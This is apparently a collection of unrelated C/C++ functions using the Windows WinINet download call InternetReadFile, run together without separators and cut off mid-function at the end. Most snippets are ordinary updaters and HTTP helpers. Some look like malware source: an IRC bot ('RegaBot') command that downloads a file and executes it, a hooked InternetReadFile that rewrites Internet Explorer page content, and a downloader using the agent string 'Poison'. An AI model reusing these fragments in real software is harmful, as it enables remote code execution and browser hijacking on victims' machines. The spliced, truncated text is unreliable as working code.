LPBYTE DownloadToMemory(IN LPCTSTR lpszURL, OUT PDWORD_PTR lpSize) { LPBYTE lpszReturn = 0; *lpSize = 0; const HINTERNET hSession = InternetOpen(TEXT("GetGitHubRepositoryList"), INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_NO_COOKIES); if (hSession) { URL_COMPONENTS uc = { 0 }; TCHAR HostName[MAX_PATH]; TCHAR UrlPath[MAX_PATH]; uc.dwStructSize = sizeof(uc); uc.lpszHostName = HostName; uc.lpszUrlPath = UrlPath; uc.dwHostNameLength = MAX_PATH; uc.dwUrlPathLength = MAX_PATH; InternetCrackUrl(lpszURL, 0, 0, &uc); const HINTERNET hConnection = InternetConnect(hSession, HostName, INTERNET_DEFAULT_HTTPS_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0); if (hConnection) { const HINTERNET hRequest = HttpOpenRequest(hConnection, TEXT("GET"), UrlPath, 0, 0, 0, INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD, 0); if (hRequest) { HttpSendRequest(hRequest, 0, 0, 0, 0); lpszReturn = (LPBYTE)GlobalAlloc(GMEM_FIXED, 1); DWORD dwRead; static BYTE szBuf[1024 * 4]; LPBYTE lpTmp; for (;;) { if (!InternetReadFile(hRequest, szBuf, (DWORD)sizeof(szBuf), &dwRead) || !dwRead) break; lpTmp = (LPBYTE)GlobalReAlloc(lpszReturn, (SIZE_T)(*lpSize + dwRead), GMEM_MOVEABLE); if (lpTmp == NULL) break; lpszReturn = lpTmp; CopyMemory(lpszReturn + *lpSize, szBuf, dwRead); *lpSize += dwRead; } InternetCloseHandle(hRequest); } InternetCloseHandle(hConnection); } InternetCloseHandle(hSession); } return lpszReturn; }
int P3DUpdateManager::CheckForUpdates(const char* bugServer) { if (!CVe_updates.GetBool()) return false; char *query = new char[128]; char *outResult = new char[1024]; sprintf(query, "%s/?a=d&v1=%d&v2=%d&v3=%d&v4=%d", bugServer, P3DVER_1, P3DVER_2, P3DVER_3, P3DVER_4); //do //{ HINTERNET hInet = InternetOpen("P3DUP", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); HINTERNET hFile = InternetOpenUrl(hInet, query, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (!hInet || !hFile) return 0; DWORD size; outResult[0]=0; if (!InternetReadFile(hFile, outResult, 1023, &size)) return 0; outResult[size]=0; if (!InternetCloseHandle(hFile)) return 0; if (!InternetCloseHandle(hInet)) return 0; //}while(outResult[0]==0); // zjisti pocet updatu unsigned int lastPos=0; for (unsigned int i=0; i<strlen(outResult); i++) { if (outResult[i]==';') { char* tmpChar = new char[i-lastPos+1]; strncpy(tmpChar, &outResult[lastPos], i-lastPos); tmpChar[i-lastPos]=0; m_pUpdLinks.push_back(tmpChar); lastPos = i+1; m_nUpdates++; } } delete[] query; delete[] outResult; return m_nUpdates; return 0; }
bool CHTTPParser::readString(CString& rString, HINTERNET hFile) { const DWORD dwBufferSize = 1024; DWORD dwRead = 0; CHAR svBuffer[dwBufferSize]; rString = _T(""); ZeroMemory(svBuffer, dwBufferSize); while(InternetReadFile(hFile, svBuffer, dwBufferSize, &dwRead) && dwRead != 0) { CA2T pszBuffer((LPCSTR)svBuffer); rString.Append(pszBuffer); } return true; }
bool http_get(LPCTSTR szURL, LPCTSTR szFileName) { HINTERNET hInternet, hUrl; HANDLE hFile; char buffer[1024]; DWORD dwBytesRead = 0; DWORD dwBytesWritten = 0; BOOL bIsFirstPacket = true; BOOL bRet = true; hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0); if (hInternet == NULL) return false; hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hUrl == NULL) return false; hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hFile != INVALID_HANDLE_VALUE) { do { memset(buffer, 0, sizeof(buffer)); InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead); // 由判断第一个数据包是不是有效的PE文件 if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE) { bRet = false; break; } bIsFirstPacket = false; WriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL); } while(dwBytesRead > 0); CloseHandle(hFile); } InternetCloseHandle(hUrl); InternetCloseHandle(hInternet); return bRet; }
bool get_url_string(wstring url, string &out) { char buffer[HTTP_BUFFER_LEN];//下载文件的缓冲区 DWORD bytes_read = 1;//下载的字节数 bool getre = false; out = ""; if(url.length() < 6) return false; //打开一个internet连接 HINTERNET internet=InternetOpen(_T("User-Agent"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL); if(!internet) return false; DWORD timeout = 5000; InternetSetOption(internet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(DWORD)); timeout = 10000; InternetSetOption(internet, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(DWORD)); //打开一个http url地址 HINTERNET file_handle=InternetOpenUrl(internet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); if(file_handle) { //从url地址中读取文件内容到缓冲区buffer BOOL b = 0; int readbyte = 0; while(bytes_read > 0) { b = InternetReadFile(file_handle, buffer, 512 , &bytes_read); if(!b) break; readbyte += bytes_read; buffer[bytes_read] = 0; out += buffer; } getre = true; } //关闭连接 InternetCloseHandle(internet); return getre; }
int HttpSnaffle::FetchMore(std::ostream& out) { // Find out how much there is to download DWORD dwSize; if (!InternetQueryDataAvailable(myRequest, &dwSize, 0, 0)) return -1; if (!dwSize) return 0; // Make sure buffer is big enough myBuffer.resize(dwSize); // Read the data DWORD dwDownloaded; if (!InternetReadFile(myRequest, (LPVOID)&myBuffer[0], dwSize, &dwDownloaded)) return -1; // See if we're done if (dwDownloaded == 0) { int statusCode = -1; DWORD size = sizeof(statusCode); DWORD index = 0; if (!HttpQueryInfo(myRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &size, &index)) return -1; if (statusCode != HTTP_STATUS_OK) return -1; InternetCloseHandle(myRequest); myRequest = NULL; return 0; } // Write it out to a file // std::cout << "Read in " << dwDownloaded << " bytes" << std::endl; out.write(&myBuffer[0], dwDownloaded); return dwDownloaded; }
void CNetRequestImpl::readInetFile( HINTERNET hRequest, CNetDataImpl* pNetData ) { DWORD dwBufSize = 4096; char* pBuf = (char*)malloc(dwBufSize); DWORD dwBytesRead = 0; BOOL bRead = FALSE; do { bRead = InternetReadFile(hRequest, pBuf, dwBufSize, &dwBytesRead); if ( bRead ) { if (dwBytesRead > 0) pNetData->getRawData().append(pBuf,dwBytesRead); pNetData->setValid(true); } }while(bRead && dwBytesRead > 0); free(pBuf); }
_bstr_t HttpGetUrl(const _bstr_t& url) { _bstr_t retval; HINTERNET hSession = InternetOpen(_T("HttpGet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (hSession) { bool isSsl = false; //const char* u = static_cast<const char*>(url); HINTERNET hFile = InternetOpenUrl(hSession, url, NULL, 0, 0, 0); if (hFile) { DWORD bytesAvailable = 0; if (InternetQueryDataAvailable(hFile, &bytesAvailable, 0, 0)) { const int BUFFLEN = 1024; TCHAR buffer[BUFFLEN]; DWORD dwRead; while (InternetReadFile(hFile, buffer, BUFFLEN - sizeof(TCHAR), &dwRead)) { if (dwRead == 0) break; buffer[dwRead / sizeof(TCHAR)] = _T('\0'); retval += buffer; } InternetCloseHandle(hFile); } } InternetCloseHandle(hSession); } return retval; }
CString GetHttpString( LPCWSTR pszUrl ) { HINTERNET hInternet1 = NULL; HINTERNET hInternet2 = NULL; CString strPageContent; do { hInternet1 = InternetOpenW(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,NULL); if (NULL == hInternet1) { break; } BOOL bOption = TRUE; BOOL bSetRes = InternetSetOption(hInternet1,INTERNET_OPTION_HTTP_DECODING,&bOption,sizeof(BOOL)); WCHAR szHeaderAdd[] = L"Accept-Encoding: gzip, deflate"; HINTERNET hInternet2 = InternetOpenUrlW(hInternet1,pszUrl,szHeaderAdd,wcslen(szHeaderAdd),INTERNET_FLAG_NO_CACHE_WRITE,NULL); if (NULL == hInternet2) { break; } DWORD dwReadDataLength = NULL; BOOL bRet = TRUE; do { CHAR chReadBuffer[4097]; bRet = InternetReadFile(hInternet2,chReadBuffer,4096,&dwReadDataLength); chReadBuffer[dwReadDataLength] = 0; strPageContent+=chReadBuffer; } while (bRet && NULL != dwReadDataLength); } while (FALSE); InternetCloseHandle(hInternet2); InternetCloseHandle(hInternet1); return strPageContent; }
// Read from the file UINT ViReadFile(VI_FILE *f, void *buf, UINT size) { // Validate arguments if (f == NULL || buf == NULL) { return INFINITE; } if (f->InternetFile == false) { UINT readsize = MIN(size, f->FileSize - f->IoReadFileSize); bool ret; if (readsize == 0) { return 0; } ret = FileRead(f->io, buf, readsize); if (ret == false) { return INFINITE; } f->IoReadFileSize += readsize; return readsize; } else { UINT readsize = 0; if (InternetReadFile(f->hHttpFile, buf, size, &readsize) == false) { return INFINITE; } return readsize; } }
char* CAmHttpSocket::GetPage(const char *url, bool Post, const char *PostData, int PostDataLength) { //did we get an url? if (url == NULL) { LastError = -1; return NULL; } //get the page and store it in ReceivedData... if (Post) { //use http post... if (!PostUrl(url, PostData, PostDataLength)) return NULL; } else { //use http get if (!OpenUrl(url)) return NULL; } DWORD rd, dwPos = 0; while(InternetReadFile(hIS, ReceivedData + dwPos, SIZE_STEP_DEFAULT, &rd)) { if(rd == 0)break; if(rd < SIZE_STEP_DEFAULT) { m_dwLength = dwPos + rd; ReceivedData[m_dwLength] = NULL; break; } else { dwPos += rd; m_dwSize = dwPos + SIZE_STEP_DEFAULT; ReceivedData = (char*)realloc(ReceivedData, m_dwSize + 1); ReceivedData[m_dwSize + 1] = NULL; } } return ReceivedData; }
CString ABPLTools::DownloadString(CString url, InternetFeedback* pCIF, bool *pbExit) { CString result; HINTERNET hSession, hConnect ; char szTemp[512] ; DWORD dwBytesRead ; bool bExit = false; if (pbExit==NULL) pbExit = &bExit; if (hSession = InternetOpen (TEXT("ABP-Launcher (Win)"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0)) { /*unsigned long to = Timeout; InternetSetOption(hSession, INTERNET_OPTION_CONNECT_TIMEOUT, &to, sizeof(unsigned long));*/ if (hConnect = InternetOpenUrl (hSession, url, NULL, 0, INTERNET_FLAG_RELOAD, 0)) { DWORD dwSize = 512, dwIndex=0; HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, szTemp, &dwSize, &dwIndex); DWORD totalSize = atol(szTemp); DWORD dwTotal=0; do { dwBytesRead=0; if (InternetReadFile (hConnect, szTemp, sizeof (szTemp)-1, &dwBytesRead)) { szTemp[dwBytesRead]=0; result.Append(szTemp); dwTotal += dwBytesRead; if (pCIF) pCIF->DownloadFeedback(totalSize, dwTotal); } } while (dwBytesRead > 0 && *pbExit==false); InternetCloseHandle (hConnect) ; } InternetCloseHandle (hSession) ; } return result ; }
void InternetDownload(const std::wstring strUrl) { char buffer[100000];//下载文件的缓冲区 DWORD dwBufferRead;//下载的字节数 //打开一个internet连接 HINTERNET hInternet=InternetOpen(_T("HTTP Downloader"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL); if(NULL == hInternet) { TSDEBUG4CXX(L"[InternetDownload] InternetOpen error, code = "<<::GetLastError()); return; } //打开一个http url地址 HINTERNET hFile=InternetOpenUrl(hInternet, strUrl.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); if(NULL == hFile) { InternetCloseHandle(hInternet); TSDEBUG4CXX(L"[InternetDownload] InternetOpenUrl error, code = "<<::GetLastError()); return; } BOOL bRead = InternetReadFile(hFile, buffer, 100000, &dwBufferRead); if(!bRead) { InternetCloseHandle(hFile); InternetCloseHandle(hInternet); TSDEBUG4CXX(L"[InternetDownload] InternetReadFile error, code = "<<::GetLastError()); return; } //关闭连接 InternetCloseHandle(hFile); InternetCloseHandle(hInternet); }
/*Returns full path to file. TODO: Check if the file is older than 5-10 minutes, if not just return file path */ std::string SteamWebAPI::getSteamXML(std::string URL, std::string filename){ std::string path = std::string("C:\\Windows\\Temp\\").append(filename); HANDLE file = CreateFile(s2ws(path).c_str(),(GENERIC_READ | GENERIC_WRITE), 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //check to see if the file is still relatively new, new meaning ~10 minutes here //this looks sloppy and needs refactored if(GetLastError() != 183){ std::cout << "file had to be created" << std::endl; } else if(!pastThreshold(file)){ std::cout << "file is not past time threshhold" << std::endl; CloseHandle(file); return path; } else std::cout << "Creating new file" << std::endl; HINTERNET hOpen = InternetOpen(L"DotaRain", NULL, NULL, NULL, NULL); HINTERNET hURL = InternetOpenUrl(hOpen, s2ws(URL).c_str(), NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL); DWORD dwBytesRead =0; DWORD dwBytesWritten = 0; do { char* lpBuffer = new char[2000]; ZeroMemory(lpBuffer, 2000); InternetReadFile(hURL, (LPVOID)lpBuffer, 2000, &dwBytesRead); WriteFile(file, (LPVOID)lpBuffer, dwBytesRead, &dwBytesWritten, NULL); delete[] lpBuffer; lpBuffer = NULL; } while (dwBytesRead); InternetCloseHandle(hURL); InternetCloseHandle(hOpen); CloseHandle(file); return path; }
bool WebIO::DownloadFileData(std::string file, std::string &data) { data.clear(); WebIO::m_hFile = FtpOpenFileA(WebIO::m_hConnect, file.c_str(), GENERIC_READ, INTERNET_FLAG_TRANSFER_BINARY | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, 0); if (WebIO::m_hFile) { DWORD size = 0; char buffer[0x2001] = { 0 }; while (InternetReadFile(WebIO::m_hFile, buffer, 0x2000, &size)) { data.append(buffer, size); if (!size) break; } InternetCloseHandle(WebIO::m_hFile); return true; } return false; }
bool CConnection::SendRequest(XMLMemoryWriter& xml_memory_writer,Buffer &buffer,IEventListener* event_listener) { CHAR buffer_tmp[1024]; DWORD bytes_read; const WCHAR* lplpszAcceptTypes[] = { L"*/*", NULL }; m_request = HttpOpenRequest(m_connection, L"POST", L"/xml-rpc", NULL, 0, lplpszAcceptTypes, 0, 0); if (m_request) { if (HttpSendRequest(m_request, 0, 0, xml_memory_writer.xml_data, xml_memory_writer.xml_data_size)) { DWORD content_len; DWORD content_len_size = sizeof(content_len); if (HttpQueryInfo(m_request, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &content_len, &content_len_size, 0)) { if (buffer.Allocate(content_len)) { while (InternetReadFile(m_request, buffer_tmp, sizeof(buffer_tmp), &bytes_read) && bytes_read) { memcpy(buffer.buffer_in + buffer.buffer_in_total, buffer_tmp, bytes_read); buffer.buffer_in_total += bytes_read; } return true; } else event_listener->OnError(L"failed to allocate memory"); } else event_listener->OnError(L"failed to query http info"); } else event_listener->OnError(L"failed to send http request"); InternetCloseHandle(m_request); } else event_listener->OnError(L"failed creating http request"); return false; }
bool http_t::download( std::string& result, const std::string& url ) { // hINet = InternetOpen( L"Firefox/3.0", INTERNET_OPEN_TYPE_PROXY, "proxy-server", NULL, 0 ); result = ""; HINTERNET hINet, hFile; hINet = InternetOpen( L"Firefox/3.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 ); if ( hINet ) { std::wstring wURL( url.length(), L' ' ); std::copy( url.begin(), url.end(), wURL.begin() ); std::wstring wHeaders = L""; wHeaders += L"Cookie: loginChecked=1\r\n"; wHeaders += L"Cookie: cookieLangId=en_US\r\n"; hFile = InternetOpenUrl( hINet, wURL.c_str(), wHeaders.c_str(), 0, INTERNET_FLAG_RELOAD, 0 ); if ( hFile ) { char buffer[ 20000 ]; DWORD amount; while ( InternetReadFile( hFile, buffer, sizeof( buffer )-2, &amount ) ) { if ( amount > 0 ) { buffer[ amount ] = '\0'; result += buffer; } else break; } InternetCloseHandle( hFile ); } InternetCloseHandle( hINet ); } return result.size() > 0; }
void CIRC::DownloadFile(char *szUrl, char *szDestLocation, int iExecute, int iRedirect) { HINTERNET hInetOpen, hInetUrl; char szTemp[MSG_SIZE]=""; DWORD dwBytesRead; int iFp=0; iFp = _open(szDestLocation, _O_BINARY | _O_CREAT | _O_RDWR | _O_TRUNC, _S_IREAD | _S_IWRITE); hInetOpen = InternetOpen("RegaBot", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if(hInetOpen && iFp != -1) { hInetUrl = InternetOpenUrl(hInetOpen, szUrl, NULL, NULL, NULL, NULL); if(hInetUrl) { SendMessage("Downloading file"); do { InternetReadFile(hInetUrl, szTemp, MSG_SIZE, &dwBytesRead); _write(iFp, szTemp, dwBytesRead); } while(dwBytesRead==MSG_SIZE); SendMessage("Download finished"); } } _close(iFp); InternetCloseHandle(hInetUrl); InternetCloseHandle(hInetOpen); if(iExecute==1) { RunApp(szDestLocation, iRedirect); } }
void CheckNewVersion () #endif { HINTERNET iInternetHandle = InternetOpenA ("wininet-agent/1.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); receiveBuffer.Clear(); if (iInternetHandle) { HINTERNET iInternetFile = InternetOpenUrlA (iInternetHandle, VERSION_URL, NULL, 0, INTERNET_FLAG_RESYNCHRONIZE, INTERNET_NO_CALLBACK); if (iInternetFile) { // Start writing the file DWORD numBytesRead = 0; char buf[READ_BYTES_SIZE]; while (true) { buf[0] = 0; bool Passed = (!!InternetReadFile (iInternetFile, &buf, READ_BYTES_SIZE, &numBytesRead)); if (!Passed || Passed && ((numBytesRead == 0) || numBytesRead < READ_BYTES_SIZE)) break; receiveBuffer += buf; } InternetCloseHandle (iInternetFile); } InternetCloseHandle (iInternetHandle); } VersionCheckReady = true; return 0; }
static DWORD WINAPI threadProc(void* p_param) { HINTERNET inet = InternetOpenA("Scherfgen-Software Blocks 5", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); if(!inet) return 1; HINTERNET url = InternetOpenUrlA(inet, "http://www.scherfgen-software.net/blocks5/version.txt", 0, 0, INTERNET_FLAG_RELOAD, 0); if(!url) { InternetCloseHandle(inet); return 1; } char buffer[17] = {0}; DWORD numBytesRead = 0; if(!InternetReadFile(url, buffer, 16, &numBytesRead)) { InternetCloseHandle(url); InternetCloseHandle(inet); return 1; } buffer[numBytesRead] = 0; if(numBytesRead == 16) buffer[0] = 0; InternetCloseHandle(url); InternetCloseHandle(inet); Task& task = *reinterpret_cast<Task*>(p_param); task.currentVersion = buffer; task.finished = true; return 0; }
int print_url_contents(const char *url) { HINTERNET internet_handle, request_handle; char buffer[1024]; unsigned long bytes_read; internet_handle = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(internet_handle == NULL) return FALSE; request_handle = InternetOpenUrl(internet_handle, url, NULL, 0, 0, 0); if(request_handle == NULL) { InternetCloseHandle(internet_handle); return FALSE; } while (InternetReadFile(request_handle, buffer, sizeof(buffer), &bytes_read) != FALSE && bytes_read != 0) { fwrite(buffer, bytes_read, 1, stderr); } InternetCloseHandle(internet_handle); InternetCloseHandle(request_handle); return TRUE; }
void OpenWebPluginRequest(CString& strURL, CString& strResult) { HINTERNET handle = InternetOpen("x179", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); if(handle == NULL) { return; } HINTERNET internetopenurl = InternetOpenUrl(handle, strURL.GetBuffer(), NULL, 0, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE, 0); if(internetopenurl != NULL) { byte buffer[10240] = {0}; DWORD dwReadBytes = 0; DWORD dwTotal = 0; while(InternetReadFile(internetopenurl, &buffer[dwTotal], 10240-dwTotal, &dwReadBytes) && dwReadBytes > 0) { dwTotal += dwReadBytes; dwReadBytes = 0; if(10240-dwTotal <= 0) break; } buffer[dwTotal] = 0; strResult = (char*)buffer; InternetCloseHandle(internetopenurl); } InternetCloseHandle(handle); }
bool CSys::ReadURL_( const char *pcURL, CStr *poContent ) { HINTERNET hINet, hFile; hINet = InternetOpen( "InetURL/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 ); if ( !hINet ) return false; hFile = InternetOpenUrl( hINet, pcURL, NULL, 0, INTERNET_FLAG_RELOAD, 0 ); // new: INTERNET_FLAG_RELOAD if ( hFile ) { CHAR buffer[1025]; DWORD dwRead; poContent->Clear(); while( InternetReadFile( hFile, buffer, sizeof(buffer)-1, &dwRead ) ) { if( !dwRead ) break; buffer[dwRead] = 0; poContent->Append( buffer ); } InternetCloseHandle( hFile ); } InternetCloseHandle( hINet ); return true; }
uint8* __open_url (wchar_t const* url, uint32& len) { HINTERNET inet = InternetOpen(L"Firefox/3.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (!inet) return NULL; HINTERNET file = InternetOpenUrl(inet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (!file) { InternetCloseHandle (inet); return NULL; } uint32 size = 4096; len = 0; uint8* buf = new uint8[size]; while (true) { if (size - len < 1024) { size *= 2; uint8* tmp = new uint8[size]; memcpy (tmp, buf, len); delete[] buf; buf = tmp; } DWORD amount; if (!InternetReadFile (file, buf + len, size - len - 2, &amount)) break; len += amount; if (amount == 0) break; } buf[len] = 0; InternetCloseHandle (file); InternetCloseHandle (inet); return buf; }
BOOL WINAPI my_InternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead) { BOOL Ret = FALSE; PHANDLE_CONTEXT Ctx = NULL; ENTER_HOOK(); *lpdwNumberOfBytesRead = 0; if (Ctx = IeGetContext(hFile)) { GetPageContent(Ctx, hFile); if (CoInvoke(Ctx->pStream, Read, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead) == S_OK) Ret = TRUE; ReleaseHandle(Ctx); } else Ret = InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead); LEAVE_HOOK(); return(Ret); }
bool Func_DownloadEx(const TCHAR * url,const TCHAR * file,const DWORD FileAttributes){ HINTERNET hWeb,hRequest; //Internet request handle DWORD dwReadByte=0,dwReserved; //read byte count TCHAR szBuffer[2000]=TEXT(""); //read buff HANDLE hdFile=INVALID_HANDLE_VALUE; //file handle //bug check begin if (!(hWeb=InternetOpen(TEXT("Mozilla/4.0 (compatible) Poison"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0))) return false; if (!(hRequest=InternetOpenUrl(hWeb,url,NULL,0,INTERNET_FLAG_DONT_CACHE,0))){ InternetCloseHandle(hWeb); return false; } if ((hdFile=CreateFile(file,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FileAttributes,NULL))==INVALID_HANDLE_VALUE){ InternetCloseHandle(hWeb); InternetCloseHandle(hRequest); return false; } //end. while (InternetReadFile(hRequest,(PVOID)szBuffer,2000*sizeof(TCHAR),&dwReadByte) && dwReadByte) WriteFile(hdFile,szBuffer,dwReadByte*sizeof(TCHAR),&dwReserved,NULL); CloseHandle(hdFile); InternetCloseHandle(hRequest); InternetCloseHandle(hWeb); return true; }
BOOL fsUpdateMgr::UrlDownloadToFile(LPCSTR pszUrl, LPCSTR pszFile, int *piProgress) { m_bNeedStop = FALSE; if (piProgress) *piProgress = 0; m_hInet = InternetOpen (PRG_AGENT_NAME, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (m_hInet == NULL) return FALSE; HINTERNET m_hFile = InternetOpenUrl (m_hInet, pszUrl, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0); if (m_hFile == NULL) { InternetCloseHandle (m_hInet); return FALSE; } if (m_bNeedStop) return FALSE; HANDLE hLocalFile = CreateFile (pszFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hLocalFile == INVALID_HANDLE_VALUE) { InternetCloseHandle (m_hFile); InternetCloseHandle (m_hInet); return FALSE; } UINT nLen = UINT_MAX, nDownloaded = 0; DWORD dw = sizeof (nLen); HttpQueryInfo (m_hFile, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &nLen, &dw, NULL); BYTE ab [1000]; DWORD dwRead = 1; while (InternetReadFile (m_hFile, ab, sizeof (ab), &dwRead) && dwRead != 0) { if (m_bNeedStop) break; WriteFile (hLocalFile, ab, dwRead, &dwRead, NULL); nDownloaded += dwRead; if (piProgress) *piProgress = MulDiv (nDownloaded, 100, nLen); } CloseHandle (hLocalFile); InternetCloseHandle (m_hFile); InternetCloseHandle (m_hInet); if (dwRead != 0 || m_bNeedStop) { DeleteFile (pszFile); return FALSE; } return TRUE; }
// POST JSON to URL string saveUrl(const Value & value, const string & url) { // Tokenize URL vector<string> tokens; boost::split(tokens, url, boost::is_any_of("/")); if (tokens.size() < 3) return "Invalid URL. Please include protocol."; // Get server portion of URL string server = tokens[2]; // Remove server portion of URL for (int32_t i = 0; i < 3; i++) tokens.erase(tokens.begin()); // Get action portion of URL string action = ""; for (vector<string>::const_iterator tokenIt = tokens.begin(); tokenIt != tokens.end(); ++tokenIt) action += "/" + * tokenIt; // Serialize data string data = serialize(value); // Open Internet connection HINTERNET session = InternetOpenA("WinInetConnection", INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY, NULL, NULL, 0); if (session == NULL) return "Unable to establish Internet session."; // Open server HINTERNET connection = InternetConnectA(session, server.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL); if (connection == NULL) return "Unable to establish Internet connection."; // Open request flags DWORD mOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD; // Open request HINTERNET request = HttpOpenRequestA(connection, "POST", action.c_str(), "HTTP/1.0", NULL, NULL, mOpenRequestFlags, 0); if (request == NULL) return "Unable to create request."; // Send request int_fast8_t buffer; DWORD size; string headers = "Content-Type: application/x-www-form-urlencoded"; string response = ""; if (HttpSendRequestA(request, headers.c_str(), headers.length(), (LPVOID)(data.c_str()), data.length())) { // Read request into buffer while (InternetReadFile(request, &buffer, 1, &size)) { if (size != 1) break; response += buffer; } } // Close Internet handles InternetCloseHandle(request); InternetCloseHandle(connection); InternetCloseHandle(session); // Return response return response; }
int HttpDownLoad_real( std::string& tmp_file, const std::string& url, const std::string& file, std::function<void(double)> callback) { HINTERNET hSession = InternetOpen(_T("HTTPDOWNLOAD"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); scloud::ScopeGuard session([hSession]{InternetCloseHandle(hSession);}); if (!hSession) { session.cancel(); return GetLastError(); } HINTERNET hInternet = InternetOpenUrl(hSession, url.c_str(), NULL, 0 , INTERNET_FLAG_RAW_DATA, 0 ); scloud::ScopeGuard internet([hInternet]{InternetCloseHandle(hInternet);}); if (!hInternet) { internet.cancel(); return GetLastError(); } //get http return code. char szContent[32] = {0}; DWORD dwInfoSize = 32; HttpQueryInfoA(hInternet, HTTP_QUERY_STATUS_CODE, szContent, &dwInfoSize, NULL); int ret = StrToIntA(szContent); if (ret >= 400) { return ret; } //get file size ZeroMemory(szContent, 32); dwInfoSize = 32; HttpQueryInfoA(hInternet, HTTP_QUERY_CONTENT_LENGTH, szContent, &dwInfoSize, NULL); __int64 size = 0; StrToInt64ExA(szContent, 10, &size); if (size <= 0) { return ERROR_CONTENT_LENGTH_LESS_THAN_ZERO; } TCHAR szTmpFile[MAX_PATH] = {0}; if (!tmp_file.empty()) { lstrcpy(szTmpFile, tmp_file.c_str()); } else { TCHAR szTmpPath[MAX_PATH] = {0}; GetTempPath(MAX_PATH, szTmpPath); if (0 == GetTempFileName(szTmpPath, _T("http"), 0, szTmpFile)) { return GetLastError(); } } tmp_file = szTmpFile; HANDLE hFile = CreateFile(szTmpFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); scloud::ScopeGuard create_file([hFile]{CloseHandle(hFile);}); if (INVALID_HANDLE_VALUE == hFile) { create_file.cancel(); return GetLastError(); } LARGE_INTEGER large_int = {0}; GetFileSizeEx(hFile, &large_int); if (large_int.QuadPart > size) { return ERROR_TMP_FILE_TOO_BIG; } if (large_int.QuadPart > 0) { if (INVALID_SET_FILE_POINTER == SetFilePointer(hFile, 0, NULL, FILE_END)) { return GetLastError(); } if (INVALID_SET_FILE_POINTER == InternetSetFilePointer( hInternet, large_int.LowPart, NULL, FILE_BEGIN, 0)) { return GetLastError(); } } __int64 rsize = large_int.QuadPart; for(;rsize < size;) { char buf[512] = {0}; DWORD dwRead = 0; if (!InternetReadFile(hInternet, buf, 512, &dwRead)) { return GetLastError(); } if (dwRead == 0) { return ERROR_WTF_NO_DATA; } for(DWORD dwOnce=0; dwRead != dwOnce;) { DWORD dwWritten = 0; if (0 == WriteFile(hFile, buf+dwOnce, dwRead-dwOnce, &dwWritten, NULL)) return GetLastError(); dwOnce += dwWritten; } rsize += dwRead; if (rsize == size) break; if (callback) callback((double)rsize/size); } if (rsize == size) { create_file.cancel(); 